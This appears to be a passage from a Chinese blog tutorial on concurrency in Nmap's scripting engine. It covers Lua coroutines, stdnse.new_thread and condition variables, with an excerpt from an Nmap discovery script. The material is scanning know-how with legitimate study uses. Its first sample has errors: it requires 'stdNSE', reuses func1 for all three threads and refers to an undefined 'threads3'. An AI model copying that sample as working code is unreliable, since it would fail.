0×02 lua 中的并发执行

lua采用coroutine的方式来实现并发执行。

  • coroutine.create(f):用来完成对coroutine的创建工作。
  • coroutine.resume(co,[,vall,...]):用来完成将coroutine的状态从暂停变为运行。
  • coroutine.running():返回当前正在执行的coroutine。
  • coroutine.status(co):返回coroutine的状态。
  • coroutine.wrap(f):作用同 coroutine.create()和 coroutine.resume()。
  • coroutine.yield(...):用来暂停 coroutine。

0×03 NSE中的并发执行

在使用NSE处理并发执行时,并不需要考虑资源的保护,因为Nmap是单线程的。但是当在处理大规模的脚本实例时,就需要考虑网络的带宽以及socket的限制等问题。

在NSE中通过stdNSE库文件的函数stdNSE.new_thread()来支持NSE线程的创建。如建立一个线程:stdNSE.new_thread(func,arg1,arg2,arg3,...)

func 就是我们要在线程中执行的函数,arg1,arg2...就是这个函数里要传递进去的参数。

下面一段脚本,创建了3个线程,并将这三个线程执行完成。

local stdNSE = require "stdNSE"
...
function func1(host,port) ... end
function func2(host,port) ... end
function func3(host,port) ... end
...
action = function(host,port)
    ...
local thread1 = stdNSE.new_thread(func1,host,port)
local thread2 = stdNSE.new_thread(func1,host,port)
local thread3 = stdNSE.new_thread(func1,host,port)
while true do
    if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" and coroutine.status(threads3) == "dead" then
    break
    end
stdNSE.sleep(1)
end
end

我们可以通过循环语句,来批量添加线程到stdNSE.new_thread去执行。下面是nmap的一个Web 服务动态发现脚本(broadcast-wsdd-discover.nse)关于线程的运用。

-- 首先定义discoverThread函数,该函数要执行线程操作
discoverThread = function( funcname, results )
  local condvar = nmap.condvar( results )
  ...
end
...
action = function()

  local threads, results = {}, {}
  local condvar = nmap.condvar( results )

  -- 尝试发现设备和 WCF web 服务
  -- 建立for循环,遍历{"discoverDevices", "discoverWCFServices"}作为discoverThread的参数
  for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do
    --线程添加
    threads[stdnse.new_thread( discoverThread, f, results )] = true
  end

  local done
  -- 等待所有的线程完成
  while( not(done) ) do
    done = true
    for thread in pairs(threads) do
      if (coroutine.status(thread) ~= "dead") then done = false end
    end
    if ( not(done) ) then
      condvar("wait")
    end
  end
...
end

在NSE线程控制中,可以使用条件变量来控制脚本的执行流程。可以使用Nmap API和函数Nmap.condvar()创建一个条件变量。上述脚本local condvar = nmap.condvar( results )就是一个条件变量。

Nmap.condvar()的参数可以是除了nil、布尔类型、数值型以外的任何类型。对于一个条件变量可以进行的操作包括如下三个。

  • wait
  • broadcast
  • signal

这里所有需要处理的线程都按顺序存放在一个等待队列中。

  1. 当一个线程调用wait函数之后,可以加入到这个队列中;
  2. 当一个线程调用signal函数之后,可以从这个队列中释放出来,然后恢复执行;
  3. 当一个线程调用broadcast函数之后,可以恢复所有线程的执行。

0×04 小结

本期主要介绍nmap中的并发执行机制,包括如何在lua和NSE去创建线程的操作。在nmap的脚本库当中,很多爆破脚本,或者是服务枚举,目录遍历等脚本都较为经常使用到线程并发的处理机制。NSE脚本中Nmap.mutex()函数还提供了类似python当中线程锁的机制,可以避免多个进程在同一时间对同一个资源进行操作,有兴趣的同学可以进一步深入研究。本期nmap定制化之并发处理介绍就到这里,我们下期见。

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。